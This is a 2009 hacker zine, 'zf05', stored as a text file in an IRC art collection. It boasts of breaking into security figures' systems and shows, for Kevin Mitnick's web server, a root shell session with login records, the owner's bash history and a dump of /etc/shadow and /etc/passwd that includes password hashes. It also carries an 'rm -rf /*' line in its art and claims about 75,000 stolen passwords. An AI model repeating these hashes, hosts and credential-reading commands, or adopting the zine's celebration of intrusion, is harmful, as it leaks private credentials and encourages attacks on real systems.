ircart- massive organized collection of irc art |
| git clone git://git.acid.vegas/ircart.git |
| Log | Files | Refs | Archive | README |
zf05.txt (1210264B)
1 ____ ___ 2 _____ ( _ \ / _ \ 3 ____ ( _ ) | / ( (_) ) _ _ 4 ( ___) | (_) | (_)\_) \___/ ( \/\/ ) 5 _____ )__) (_____) ) ( _ _ 6 ( _ ) (__) (_/\_) ( \( ) 7 | (_) | | \ | 8 ____ (_____) (_)\_) ____ 9 ( _ \ ~ ~ $$$$$ ( ___) 10 | / $$$$ $$$ $$$$$ )__) 11 ____ (_)\_) . ~ $$$$$$ $$$ $$$$$$$ (____) ____ 12 ( ___) . : . $$$ $$$$ $$$ $$$$ $ ( _ \ 13 )__) '. . : . .' $ $$$$ $$$$ $$$ | (_) ) 14 (____) ._ '._.-'''-._.' _. $$$$$$$$$$ $$$$$ (____/ 15 ____ '-..' '..-' $$$$$$$$$$$$ $$$$ $$$$$ ___ 16 (_ ) --._ /. .\ _.-- ~ $$$$$$$$$$$$$$$$$ $$$ | __) 17 / /_ '/ \ $$$ $$$$$$$$$$$$ $ |__ \ 18 (____) -----| `|----- $$ $$$$$$$$$$$$$$$$$ (___/ 19 _: ;_ $$ $$$$ *** $$$ $$$$$ 20 --' \ / '-- $ $$$$ ** $$$$ $$$ 21 _.-''. .''-._ $$$ ** $$$ $$ 22 ' .''-. .-''. ' $$ *** $$$ $ 23 .' ' : ' '. $$ ** $$$ 24 ' : ' $ *** $$ 25 ' $ *** $$ 26 ___ *** $ 27 / __) *** 28 \__ \ `~~^~^~^~^~^~^~^~^~^`~~^~^~^~^~^~^~^~^~^`~~^~^~^~^~^~^~^~***`~~^~^~^~^~^ _ _ 29 (___/ __ __ *** (jgs) ( \/ ) 30 ( )( ) ................. ............ . . . . . .... *** .... ) ( 31 | (__) | ... .. ............ .. . ......... ... . *** . .. . __ (_/\_) 32 (______) __ __ .. ....... . . . ...... . . **** .. . /__\ 33 ( \/ ) .... . ... ... ... . ***** . ... /(__)\ 34 ) ( __ __ .... ******** _ _ (__)(__) 35 (_/\/\_) ( \/ ) ................. ( )_( ) 36 ) ( ____ . . ....... . . ____ ) _ ( 37 (_/\/\_) ( ___) ____ _____ ( ___) (_) (_) 38 )__) ( _ \ ( _ ) )__) 39 (____) | / | (_) | (__) 40 (_)\_) (_____) 41 42 43 44 45 ~~~~~~~~ 0. Intro ~~~~~~~~ 46 ,- 1. Kevin Mitnick 47 ,'::| 2. 0x000000 48 /::::| 3. Industry check 49 ,'::::o\ 4. Dan Kaminsky _.. 50 ____........-------rm -rf /* 5. Hacking in gitmo ,-' / 51 _.--"""". . . . . . . . ""`-._ ,-' .;' 52 <. - :::::o...... ... . . .. . . . .""--._ ,-'. .;' 6. darkmindz 53 `-._ ` `":`:`:`::||||:::::::::::::::::.:. . ""--._ ,'| ,-'. .;' 7. Robert Lemos II 54 """_=-- //'{};.. ````:`:`::::::::::.:.:.:. .`-`._-'. .;' 8. Interlude 55 ""--.__ \( \ ` ``:`:``:::: . .;' 9. PerlMonks 56 13. hak5 "\""--.:-. `. .:/ 10. elitehackers.info 57 14. CF0 \. / `-._ `.""-----.,-..::(--"".\""`. `:\ 11. Binary Revolution 58 15. cr0.org `P `-._ \ `-:\ `. `:\ 12. Pwnie Awards 59 16. Scene check "" " `-._) 60 17. blackhat-forums 61 18. Last Words ~~~~~~~~ 62 63 64 S y m a n t e c - T h r e a t C o n 65 --------------------------------------------- 66 | Level 31337: 67 Segmentation fault 68 69 ^ Manipulate threat level to read back the stack and abuse info disclosure 70 71 72 73 74 | 75 \ / _\/_ 76 Intro .-'-. //o\ _\/_ 77 -- / \ -- | /o\\ 78 ^^~^~^~^~^~^~^~^~~^~^~^~^~^~^~^~^~^~^-=======-~^~~^^~~^~^~^~|~~^~^|^~` 79 | 80 81 82 It's July 28th, 2009! Welcome one and all to the real Black Hat Briefings. Live 83 from the underground, coming right at you free of charge. You don't have to pay 84 to come, and you don't get paid to be featured. Presented by real blackhats, 85 this is a must-see event! 86 87 This is a big one. We hacked notable whitehats Kevin Mitnick, Dan Kaminsky, and 88 Julien Tinnes, among others. We continued the skiddie holocaust with darkmindz, 89 elitehackers, hak5, binrev, and blackhat-forums. Along the way we created mass 90 mayhem. There are more rm's in this zine than you can count on a hand. Just from 91 targets shown here we collected about 75,000 passwords. Passes, not hashes. If 92 you are reading this, then your browser probably did not crash, so you know we 93 couldn't include all of our passwords, let alone hashes. The first version of 94 this was ten times the size of ZF04. 95 96 > lol yeah I'm gonna have to trim 97 > and by "trim" I mean "remove everything" 98 99 Let's get warmed up with the first song from the zf05 mix tape, Search & Destroy 100 by classic Iggy Pop. Look for the rest of the songs in the article headers. 101 102 ~ I'm a street walking cheetah 103 with a hide full of napalm 104 I'm a runaway son of the nuclear A-bomb 105 I am a world's forgotten boy 106 The one who searches and destroys 107 Honey gotta help me please 108 Somebody gotta save my soul 109 Baby detonate for me 110 Look out honey, 'cause I'm using technology 111 Ain't got time to make no apology 112 Soul radiation in the dead of night 113 Love in the middle of a fire fight 114 Honey gotta strike me blind 115 Somebody gotta save my soul 116 Baby penetrate my mind 117 And I'm the world's forgotten boy 118 The one who's searchin', searchin' to destroy 119 And honey I'm the world's forgotten boy 120 The one who's searchin', searchin' to destroy ~ 121 122 123 124 Are you ready? 125 126 127 128 | 129 \ / _\/_ 130 Kevin Mitnick - Freedom Owntime .-'-. //o\ _\/_ 131 -- / \ -- | /o\\ 132 ^^~^~^~^~^~^~^~^~~^~^~^~^~^~^~^~^~^~^-=======-~^~~^^~~^~^~^~|~~^~^|^~` 133 I got a list of demands | 134 written on the palm of my hands 135 136 137 Kevin Mitnick, hero to many, wet dream to Emmanuel Goldstein. Consider this a 138 follow up to the cDc article. Kevin has become the media rep for the hacker 139 community, something which he has grown further and further apart from ever 140 since his release. Without John Markoff's sensationalist reporting Kevin 141 Mitnick would not have the notoriety that allows him to earn his money 142 providing keynotes at conferences all over the world. Kevin is polluting the 143 media with bullshit. Whilst we understand that owning him is something which 144 has been done many, many times, we felt that not presenting his insecurity 145 publicly would be wrong. Since 2003 this has been done three times of note 146 and Kevin has used his enormously powerful SOCIAL ENGINEERING techniques to 147 escape with an unharmed repuation each time. The fact is that he cannot secure 148 his systems because he does not know how. 149 150 Oh before I forget, we were behind the Mitnick mantraining. It was a beautifully 151 executed social engineering experiment that worked flawlessly and also provided 152 us with superb quotes. What can I say, The Art of Deception was some of the 153 most enthralling 352 pages I have ever read. 154 155 I now present you some of his excellent excuses: 156 157 "The Web hosting provider that hosts my sites was hacked," Mitnick told CNET 158 News.com in an interview Monday. "Fortunately, I don't keep any confidential 159 data on my Web site, so it wasn't that serious. Of course, it is embarrassing 160 to be defaced--nobody likes it." 161 162 Defacing Web sites is akin to graffiti in the brick-and-mortar world. "It is 163 kind of stupid; they do it for the attention," Mitnick said. "When I was a 164 hacker, I never stooped to defacing sites because that was more like vandalism; 165 that wasn't any fun. It is more about getting in and being stealth and looking 166 around and exploring." 167 168 Let me set something straight Kevin, www.kevinmitnick.com is your 169 responsibility to secure. You run a security auditing company - what went 170 wrong? 171 172 One thing I notice about the above, Kevin referring to himself as a hacker in 173 past tense - heh, at least he doesn't fall for the common fallacy that 'hackers' 174 are not anything other than people who break into systems. 175 176 "They keep getting compromised," he said. "Maybe I'll move it over to Amazon or 177 something and let them attack Amazon." 178 179 That'd be great Kev, hopefully you'll shift our doors straight over there. 180 181 root@www.kevinmitnick.com's password: 182 Last login: Mon Jul 13 17:08:58 2009 from 58.jerveyave.com 183 184 185 --------------------------------------------------------------------------- 186 This computer system is for authorized users only. All activity is logged and 187 regularly checked by systems personnel. Individuals using this system without 188 authority or in excess of their authority are subject to having all their 189 services revoked. Any illegal services run by user or attempts to take down 190 this server or it's services will be reported to local law enforcement, and 191 said user will be punished to the full extent of the law. Anyone using this 192 system consents to these terms. 193 194 --------------------------------------------------------------------------- 195 root@dc21 [~]# w 196 11:10:22 up 3 days, 12:54, 0 users, load average: 0.00, 0.00, 0.00 197 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT 198 root@dc21 [~]# uname -a;id 199 Linux dc21.hostedhere.net 2.6.18-92.1.18.el5.028stab060.2 #1 SMP Tue Jan 13 200 11:38:36 MSK 2009 i686 i686 i386 GNU/Linux 201 uid=0(root) gid=0(root) 202 groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) 203 root@dc21 [~]# last 204 reboot system boot 2.6.18-92.1.18.e Mon Jul 13 22:15 (3+12:37) 205 root pts/0 58.jerveyave.com Mon Jul 13 17:08 - crash (05:07) 206 root pts/0 greenville.isopo Mon Jul 13 05:55 - 13:35 (07:39) 207 reboot system boot 2.6.18-92.1.18.e Mon Jul 13 00:15 (4+10:38) 208 reboot system boot 2.6.18-92.1.18.e Sun Jul 12 23:58 (00:09) 209 root pts/0 greenville.isopo Fri Jul 10 04:50 - 11:59 (07:09) 210 mitsec pts/0 72.19.162.209 Thu Jul 9 09:41 - 10:01 (00:20) 211 root pts/0 58.jerveyave.com Wed Jul 8 21:27 - 21:27 (00:00) 212 root pts/0 58.jerveyave.com Tue Jul 7 20:00 - 08:12 (12:11) 213 reboot system boot 2.6.18-92.1.18.e Tue Jul 7 19:46 (5+03:53) 214 reboot system boot 2.6.18-92.1.18.e Tue Jul 7 17:07 (00:13) 215 reboot system boot 2.6.18-92.1.18.e Tue Jul 7 10:59 (05:36) 216 root pts/0 greenville.isopo Tue Jul 7 05:33 - down (05:17) 217 root pts/0 5ace2de4.bb.sky. Tue Jul 7 05:31 - 05:32 (00:01) 218 reboot system boot 2.6.18-92.1.18.e Tue Jul 7 02:53 (07:57) 219 mitsec pts/0 ip68-229-7-88.lv Thu Jul 2 00:17 - 02:30 (02:13) 220 mitsec pts/0 ip68-229-7-88.lv Wed Jul 1 00:41 - 01:31 (00:50) 221 root pts/3 tech1.xyzdns.net Tue Jun 30 09:33 - 10:01 (00:27) 222 root pts/2 tech1.xyzdns.net Tue Jun 30 09:32 - 10:01 (00:28) 223 root pts/1 tech1.xyzdns.net Tue Jun 30 09:30 - 10:01 (00:30) 224 root pts/0 58.jerveyave.com Mon Jun 29 15:16 - 16:36 (1+01:19) 225 mitsec pts/1 93.sub-75-212-18 Mon Jun 29 12:40 - 14:57 (02:16) 226 root pts/0 58.jerveyave.com Mon Jun 29 05:30 - 15:14 (09:43) 227 mitsec pts/0 110.sub-75-212-1 Mon Jun 29 04:35 - 04:37 (00:02) 228 mitsec pts/1 nmd.sbx03424.las Mon Jun 29 01:47 - 02:14 (00:26) 229 mitsec pts/1 nmd.sbx03424.las Mon Jun 29 01:19 - 01:25 (00:06) 230 mitsec pts/0 c-67-169-204-62. Mon Jun 29 01:19 - 02:46 (01:27) 231 mitsec pts/1 c-67-169-204-62. Mon Jun 29 01:14 - 01:18 (00:04) 232 mitsec pts/0 nmd.sbx03424.las Mon Jun 29 01:08 - 01:15 (00:06) 233 mitsec pts/0 nmd.sbx03424.las Mon Jun 29 00:11 - 00:32 (00:20) 234 root pts/1 tech1.xyzdns.net Tue Jun 23 05:31 - 06:50 (01:18) 235 root pts/1 tech1.xyzdns.net Tue Jun 23 05:28 - 05:30 (00:01) 236 root pts/0 tech1.xyzdns.net Mon Jun 22 17:54 - 16:17 (22:23) 237 mitsec pts/1 nmd.sbx03424.las Sat Jun 20 02:57 - 03:37 (00:40) 238 mitsec pts/1 ip68-229-7-88.lv Fri Jun 19 22:02 - 22:05 (00:03) 239 mitsec pts/1 ip68-229-7-88.lv Fri Jun 19 20:44 - 21:28 (00:44) 240 root pts/0 58.jerveyave.com Thu Jun 18 20:26 - 09:37 (1+13:11) 241 mitsec pts/0 ip68-229-7-88.lv Thu Jun 18 11:09 - 11:40 (00:31) 242 mitsec pts/0 ip68-229-7-88.lv Wed Jun 17 09:53 - 09:53 (00:00) 243 mitsec pts/0 pool-71-106-244- Mon Jun 15 03:08 - 03:10 (00:02) 244 mitsec pts/0 pool-71-106-244- Tue Jun 9 15:44 - 16:10 (00:25) 245 root pts/0 greenville.isopo Tue Jun 9 12:14 - 14:02 (01:47) 246 reboot system boot 2.6.18-92.1.18.e Mon May 18 15:12 (49+05:01) 247 mitsec pts/0 ip72-193-114-177 Fri May 15 01:44 - 01:59 (00:14) 248 root pts/0 greenville.isopo Fri Apr 24 06:58 - 11:09 (04:11) 249 reboot system boot 2.6.18-92.1.18.e Thu Apr 23 20:26 (73+23:47) 250 mitsec pts/1 186.81.109.196 Mon Apr 20 11:00 - 15:50 (04:50) 251 root pts/1 tech1.xyzdns.net Sun Apr 19 11:39 - 14:16 (02:36) 252 root pts/0 58.jerveyave.com Sun Apr 19 09:01 - 18:36 (4+09:34) 253 reboot system boot 2.6.18-92.1.18.e Sun Apr 19 06:55 (4+11:41) 254 reboot system boot 2.6.18-92.1.18.e Sun Apr 19 06:46 (00:04) 255 root pts/1 tech1.xyzdns.net Sat Apr 18 14:07 - 14:35 (00:28) 256 root pts/0 tech1.xyzdns.net Sat Apr 18 08:18 - 01:28 (17:10) 257 reboot system boot 2.6.18-92.1.18.e Sat Apr 18 07:15 (23:30) 258 reboot system boot 2.6.18-92.1.18.e Fri Apr 17 03:51 (1+03:24) 259 root pts/1 58.jerveyave.com Fri Mar 27 18:21 - 21:42 (5+03:20) 260 mitsec pts/2 wsip-70-168-126- Wed Mar 25 21:34 - 23:46 (02:12) 261 root pts/1 58.jerveyave.com Wed Mar 25 20:03 - 03:45 (1+07:41) 262 root pts/4 tech1.xyzdns.net Tue Mar 24 11:09 - 13:21 (02:12) 263 root pts/3 greenville.isopo Tue Mar 24 11:05 - 14:32 (03:27) 264 root pts/2 tech1.xyzdns.net Mon Mar 23 01:22 - 13:59 (1+12:37) 265 root pts/2 tech1.xyzdns.net Sat Mar 21 15:49 - 17:09 (01:19) 266 root pts/1 66-191-205-150.d Sat Mar 21 15:26 - 20:03 (4+04:36) 267 root pts/0 tech3.xyzdns.net Sat Mar 21 14:08 - 16:40 (02:32) 268 root pts/0 66-191-205-150.d Sat Mar 21 08:54 - 13:08 (04:13) 269 reboot system boot 2.6.18-92.1.18.e Sat Mar 21 08:43 (26+19:06) 270 reboot system boot 2.6.9-023stab040 Sat May 26 10:33 (00:22) 271 272 wtmp begins Sat May 26 10:33:49 2007 273 root@dc21 [~]# cd /root 274 root@dc21 [~]# ls -la 275 total 92 276 drwxr-xr-x 12 root root 4096 Jul 17 10:51 . 277 drwxr-xr-x 22 root root 4096 Jul 13 22:16 .. 278 drwxr-xr-x 7 root root 4096 Mar 21 10:30 .MirrorSearch 279 -rwxr-xr-x 1 root root 4659 Jul 13 13:35 .bash_history 280 -rwxr-xr-x 1 root root 24 Jan 6 2007 .bash_logout 281 -rwxr-xr-x 1 root root 191 Jan 6 2007 .bash_profile 282 -rwxr-xr-x 1 root root 413 Mar 21 14:09 .bashrc 283 drwxr-xr-x 4 root root 4096 Mar 21 10:37 .cpanel 284 drwxr-xr-x 4 root root 4096 Mar 21 09:26 .cpobjcache 285 -rwxr-xr-x 1 root root 100 Jan 6 2007 .cshrc 286 drwxr-xr-x 2 root root 4096 Mar 21 09:28 .gnupg 287 -rw------- 1 root root 46 Jul 6 19:27 .my.cnf 288 -rwxr-xr-x 1 root root 264 Jul 15 00:27 .pearrc 289 -rwxr-xr-x 1 root root 1024 Mar 21 10:37 .rnd 290 drwxr-xr-x 3 root root 4096 Mar 21 10:36 .spamassassin 291 -rwxr-xr-x 1 root root 129 Jan 6 2007 .tcshrc 292 drwxr-xr-x 4 root root 4096 Mar 21 14:21 cpanel3-skel 293 drwxr-xr-x 2 root root 4096 Mar 21 10:22 public_ftp 294 drwxr-xr-x 3 root root 4096 Mar 21 10:22 public_html 295 -rwxr-xr-x 1 root root 2171 Dec 12 2008 pure-ftpd 296 drwxr-xr-x 2 root root 4096 Mar 21 14:09 security 297 drwxr-xr-x 3 root root 4096 Mar 21 15:51 tmp 298 root@dc21 [~]# cat .bash_history 299 passwd 300 w 301 w. 302 w 303 cd /home 304 wget http://layer1.cpanel.net/latest 305 sh latest 306 /scripts/upcp 307 w 308 cd / 309 ls 310 mv hypervm-scheduled-2.0-vps9.vm-2009-Mar-21-1237645742.tgz 311 3-21-mitsec-os-image.tgz 312 ls -l 313 ls 314 cd home 315 ls 316 wget http://dc21.hostedhere.net/mitsec.tar.gzw 317 w 318 ls 319 cd /home/ 320 ls 321 /scripts/restorepkg mitsec.tar.gz 322 mkdir /root/security;cd /root/security 323 wget http://72.3.144.149/software/psm.tar;tar -xvf psm.tar;rm -f psm.tar;./psm 324 1;rm -f psm.txt;rm -f psm 325 ls -l 326 chkrootkit 327 /usr/local/bin/rkhunter --update 328 rkhunter -sk -c 329 /sbin/service apf restart 330 /sbin/ifconfig 331 vi /etc/apf/conf.apf 332 /sbin/service apf restart 333 cd /root 334 /scripts/fixdc 335 /scripts/fixndc 336 vi /etc/cpupdate.conf 337 vi /etc/hosts 338 cd /scripts/ 339 ./restartsrv named 340 ./restartsrv http 341 ./upcp --force 342 ./fixcommonproblems 343 ./reinstallmailman 344 cd /root 345 hostname -i 346 vi /usr/local/sim/conf.sim 347 cp -p /etc/ssh/sshd_config /etc/ssh/sshd_config.357 348 vi /etc/ssh/sshd_config 349 vi /etc/apf/conf.apf 350 vi /etc/apf/conf.apf 351 /sbin/service sshd restart 352 /etc/apf/apf -r 353 cd /root 354 vi /usr/local/lib/php.ini 355 vi /usr/local/php4/lib/php.ini 356 /scripts/restartsrv httpd 357 vi /etc/apf/conf.apf 358 apf -r 359 /sbin/service pure-ftpd stop 360 mv /etc/rc.d/init.d/pure-ftpd /root/ 361 echo > /etc/rc.d/init.d/pure-ftpd 362 chattr +i /etc/rc.d/init.d/pure-ftpd 363 vi /etc/pam.d/crond 364 service crond restart 365 passwd mitsec 366 cd /var/log/ 367 ls 368 tail secure 369 w 370 w 371 pico /etc/httpd/conf/httpd.conf 372 whereis php.ini 373 pico /usr/lib/php.ini 374 service httpd restart 375 pico /etc/httpd/conf/httpd.conf 376 pico /usr/local/apache/conf/php.conf 377 cd /etc/httpd/conf/ 378 ls 379 pico php.conf 380 php -i | grep php.ini 381 pico /usr/local/lib/php.ini 382 /scripts/installgd 383 tail -f /etc/httpd/logs/error_log 384 service httpd restart 385 tail -f /etc/httpd/logs/error_log 386 /scripts/easyapache 387 cd /home/mitsec/ 388 cd www 389 pico info.txt 390 chown mitsec:mitsec info.txt 391 psaswd mitsec 392 psaswd mitsec 393 passwd mitsec 394 whereis proftpd 395 la 396 ls 397 ls -l 398 pico index.php 399 cd /var/log 400 cat secure 401 ls 402 pico rootlogins 403 ls 404 pico apf_log 405 service apf stop 406 service apf start 407 pico apf_log 408 date 409 pico /etc/apf/conf.apf 410 service apf restart 411 pico apf_log 412 ls 413 tail secure 414 w 415 tail secure 416 lastlog 417 cd /home/mitsec/ 418 ls 419 cd www 420 ls 421 cd .. 422 ls 423 pico .bash_history 424 ls 425 cd / 426 ls 427 w 428 betstat 429 netstat 430 w 431 ls -l 432 df -h 433 w 434 netstat 435 netstat 436 netstat 437 cd /etc/httpd/logs/ 438 ls 439 tail -f access_log 440 tail -f error_log 441 pico /var/log/secure 442 grep "510" /etc/shadow 443 grep "510" /etc/passwd 444 pico /var/log/secure 445 w 446 w 447 cd /var/log/ 448 grep "65.124.165" * 449 cd /etc/httpd 450 ls 451 cd domlogs/ 452 ls 453 grep "65.124.165" mitnicksecurity.com 454 pico mitnicksecurity.com 455 cd mitsec 456 ls 457 pico mitnicksecurity.com 458 cd /home/mitsec/access-logs/ 459 ls 460 pico mitnicksecurity.com 461 w 462 top 463 vi /usr/local/apache/conf/httpd.conf 464 vi /usr/local/apache/conf/httpd.conf 465 cd /usr/local/apache 466 du -sh 467 prm 468 /scripts/restartsrv httpd 469 top 470 top 471 w 472 history 473 pico /etc/apf/conf.apf 474 service apf restart 475 ping 4.2.2.1 476 telnet vpn.isopoly.com 25 477 w 478 telnet vpn.isopoly.com 25 479 w 480 top 481 w 482 lastlog 483 history 484 exit 485 w 486 lastlog 487 rkhunter -c 488 w 489 chkrootkit 490 ps -aux 491 cd /var/tmp/ 492 ls -l 493 cd /tmp 494 ls -l 495 rm -Rf r* 496 cd /usr/local/apache; 497 ls -l pr 498 w 499 top 500 rkhunter -c 501 w 502 vi /usr/local/sim/conf.sim 503 vi /usr/local/sim/conf.sim 504 cp -p /etc/ssh/sshd_config /etc/ssh/sshd_config.325 505 vi /etc/ssh/sshd_config 506 vi /etc/apf/conf.apf 507 /sbin/service sshd restart 508 /sbin/service apf restart 509 w 510 ifconfig 511 cd /var/log/ 512 tail secure 513 pico secure 514 w 515 w 516 tail secure 517 tail secure 518 tail secure 519 tail secure 520 tail secure 521 cd /etc/ssh 522 dir 523 vi sshd_config 524 w 525 cd /home/ 526 ls 527 cd no 528 ls 529 cd .. 530 ls 531 cd /var/log/ 532 tail secure 533 tail -n 100 secure 534 cd /tmp 535 ls 536 cd /var/log/btmp 537 pico /var/log/btmp 538 cd /var/log 539 ls -l btmp 540 pico /etc/passwd 541 rkhunter 542 rkhunter -c 543 tail /var/cpanel/accounting.log 544 tail /var/cpanel/root.accts 545 df -h 546 top 547 history 548 cd /home/mitsec/ 549 ls -l 550 cat .lastlogin 551 ls 552 cd www 553 ls 554 ls -l |grep "Jul" 555 ls -l 556 cd .. 557 ls 558 cd .. 559 ls 560 ls -l 561 df -h 562 cd /home/ 563 ls 564 ls -l 565 cd mitsec/ 566 ls 567 ls -l 568 cd /home/ 569 ls 570 cd / 571 ls 572 ls -l 573 df -h 574 rm -Rf 3-21-mitsec-os-image.tgz 575 df -h 576 cd /etc 577 ls 578 ls -l 579 top 580 w 581 tail /var/log/secure 582 tail /var/log/messages 583 netstat 584 exit 585 w 586 df -h 587 cd /home/ 588 ls 589 cd no 590 ls 591 ls -l 592 cd .. 593 ls 594 cd mitsec/ 595 ls 596 ls -l 597 cd public_ 598 cd public_html/ 599 ls 600 ls -l 601 ls -l contact_form.php 602 pico contact_form.php 603 df -h 604 top 605 w 606 ls -l 607 cd / 608 ls 609 cd .. 610 ls -l 611 cd / 612 ls 613 ls -l 614 w 615 df -h 616 top 617 w 618 cd / 619 ls 620 cd tmp 621 ls 622 cd backupfileehwcb2/ 623 ls 624 ls -l 625 cd .. 626 ls 627 cd / 628 ls 629 ls -l 630 rm tmp.tar 631 ls -l 632 df -h 633 cd /home 634 ls 635 cd cpbackuptmp/ 636 ls 637 cd cpbackup/ <-- I *wonder* what's in his CP dir 638 ls 639 ls -l 640 cd daily/ 641 ls 642 cd .. 643 cd weekly/ 644 ls 645 ls -l 646 cd .. 647 ls 648 cd monthly/ 649 ls 650 cd .. 651 cd weekly/ 652 ls -l 653 cd .. 654 ls 655 cd .. 656 ls 657 cd .. 658 ls 659 cd no 660 ls 661 cd sources/ 662 ls 663 cd modules/ 664 ls 665 ls -l 666 cd .. 667 ls 668 cd authors/ 669 ls 670 ls -l 671 cd .. 672 ls 673 ls -l 674 pico MIRRORED.BY 675 cd .. 676 ls 677 ls -l 678 cd .. 679 ls 680 cd virtfs/ 681 ls 682 ls -l 683 cd mitsec/ 684 ls 685 ls -l 686 cd home 687 ls 688 ls -l 689 cd mitsec/ 690 ls 691 cd .. 692 cd .. 693 cd .. 694 ls 695 cd .. 696 ls 697 cd / 698 ls 699 w 700 top 701 root@dc21 [~]# w 702 10:53:46 up 3 days, 12:38, 0 users, load average: 0.00, 0.00, 0.00 703 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT 704 root@dc21 [~]# cat /etc/shadow /etc/passwd 705 root:$1$5K/cgjHy$YY0B5o9EuLytWnXPBP7eU0:14430:0:99999:7::: 706 bin:*:13649:0:99999:7::: 707 daemon:*:13649:0:99999:7::: 708 adm:*:13649:0:99999:7::: 709 lp:*:13649:0:99999:7::: 710 sync:*:13649:0:99999:7::: 711 shutdown:*:13649:0:99999:7::: 712 halt:*:13649:0:99999:7::: 713 mail:*:13649:0:99999:7::: 714 news:*:13649:0:99999:7::: 715 uucp:*:13649:0:99999:7::: 716 operator:*:13649:0:99999:7::: 717 games:*:13649:0:99999:7::: 718 gopher:*:13649:0:99999:7::: 719 ftp:*:13649:0:99999:7::: 720 nobody:*:13649:0:99999:7::: 721 vcsa:!!:13649:0:99999:7::: 722 dbus:!!:13649:0:99999:7::: 723 mailnull:!!:13649:0:99999:7::: 724 smmsp:!!:13649:0:99999:7::: 725 apache:!!:13649:0:99999:7::: 726 sshd:!!:13649:0:99999:7::: 727 rpc:!!:13649:0:99999:7::: 728 pcap:!!:13649:0:99999:7::: 729 rpm:!!:13649:0:99999:7::: 730 named:!!:13649:0:99999:7::: 731 cpanel:*:14324:::::: 732 postfix:!!:14324:::::: 733 xfs:!!:14324:::::: 734 mysql:!!:14324:::::: 735 mailman:*:14324:::::: 736 cpanelhorde:*:14324:::::: 737 cpanelphpmyadmin:*:14324:::::: 738 cpanelphppgadmin:*:14324:::::: 739 cpanelroundcube:*:14324:::::: 740 mitsec:$1$VVB/aSDv$cFi4QkgSPku7Gsc0nR.gz/:14327:0:99999:7::: 741 root:x:0:0:root:/root:/bin/bash 742 bin:x:1:1:bin:/bin:/sbin/nologin 743 daemon:x:2:2:daemon:/sbin:/sbin/nologin 744 adm:x:3:4:adm:/var/adm:/sbin/nologin 745 lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin 746 sync:x:5:0:sync:/sbin:/bin/sync 747 shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown 748 halt:x:7:0:halt:/sbin:/sbin/halt 749 mail:x:8:12:mail:/var/spool/mail:/sbin/nologin 750 news:x:9:13:news:/etc/news: 751 uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin 752 operator:x:11:0:operator:/root:/sbin/nologin 753 games:x:12:100:games:/usr/games:/sbin/nologin 754 gopher:x:13:30:gopher:/var/gopher:/sbin/nologin 755 ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin 756 nobody:x:99:99:Nobody:/:/sbin/nologin 757 vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin 758 dbus:x:81:81:System message bus:/:/sbin/nologin 759 mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin 760 smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin 761 apache:x:48:48:Apache:/var/www:/sbin/nologin 762 sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin 763 rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin 764 pcap:x:77:77::/var/arpwatch:/sbin/nologin 765 rpm:x:37:37::/var/lib/rpm:/sbin/nologin 766 named:x:25:25:Named:/var/named:/sbin/nologin 767 cpanel:x:32001:32001::/usr/local/cpanel:/bin/false 768 postfix:x:89:89::/var/spool/postfix:/sbin/nologin 769 xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin 770 mysql:x:100:101:MySQL server:/var/lib/mysql:/bin/bash 771 mailman:x:32002:32002::/usr/local/cpanel/3rdparty/mailman:/bin/false 772 cpanelhorde:x:32003:32005::/var/cpanel/userhomes/cpanelhorde:/usr/local/cpanel/ 773 bin/noshell 774 cpanelphpmyadmin:x:32004:32006::/var/cpanel/userhomes/cpanelphpmyadmin:/usr/loc 775 al/cpanel/bin/noshell 776 cpanelphppgadmin:x:32005:32007::/var/cpanel/userhomes/cpanelphppgadmin:/usr/loc 777 al/cpanel/bin/noshell 778 cpanelroundcube:x:32006:32008::/var/cpanel/userhomes/cpanelroundcube:/usr/local 779 /cpanel/bin/noshell 780 mitsec:x:510:510::/home/mitsec:/usr/local/cpanel/bin/jailshell 781 root@dc21 [~]# cd /home/mitsec/ 782 root@dc21 [~]# ls -la 783 total 10085472 784 drwxr-xr-x 22 mitsec mitsec 4096 Jul 16 10:36 . 785 drwxr-xr-x 12 root root 4096 Jul 16 10:36 .. 786 -rwxr-xr-x 1 mitsec mitsec 64 Mar 20 2007 .Xauthority 787 -rwxr-xr-x 1 mitsec mitsec 2399 Jul 9 10:01 .bash_history 788 -rwxr-xr-x 1 mitsec mitsec 24 Feb 25 2006 .bash_logout 789 -rwxr-xr-x 1 mitsec mitsec 191 Feb 25 2006 .bash_profile 790 -rwxr-xr-x 1 mitsec mitsec 124 Feb 25 2006 .bashrc 791 -rwxr-xr-x 1 mitsec mitsec 5619 Aug 21 2006 .canna 792 -rwxr-xr-x 1 mitsec mitsec 17 Jan 30 2006 .contactemail 793 -rwxr-xr-x 1 mitsec mitsec 10 Jan 30 2006 .contactsavetime 794 drwxr-xr-x 5 mitsec mitsec 4096 Mar 21 12:58 .cpanel 795 -rwxr-xr-x 1 mitsec mitsec 1682 Jan 23 2005 .cpanel-ducache 796 -rwxr-xr-x 1 mitsec mitsec 19 Jul 17 10:46 .dns 797 -rwxr-xr-x 1 mitsec mitsec 383 Aug 21 2006 .emacs 798 drwxr-xr-x 5 mitsec mitsec 4096 Sep 1 2008 .fantasticodata 799 -rwxr-xr-x 1 mitsec mitsec 16 Jul 2 23:11 .ftpquota 800 drwxr-xr-x 2 mitsec mitsec 4096 Sep 1 2008 .gnupg 801 drwxr-xr-x 52 mitsec nobody 4096 Sep 1 2008 .htpasswds 802 -rwxr-xr-x 1 mitsec mitsec 7 Sep 2 2008 .lang 803 -rw------- 1 mitsec mitsec 14 Jul 16 10:22 .lastlogin 804 -rwxr-xr-x 1 mitsec mitsec 35 Jan 13 2009 .lesshst 805 -rwxr-xr-x 1 mitsec mitsec 6441532 May 6 2006 806 .pureftpd-upload.445d6ea6.15.1358.7997c79e 807 drwxr-xr-x 2 mitsec mitsec 4096 Sep 1 2008 .sqmaildata 808 drwxr-xr-x 2 mitsec mitsec 4096 Sep 1 2008 .ssh 809 drwxr-xr-x 2 mitsec 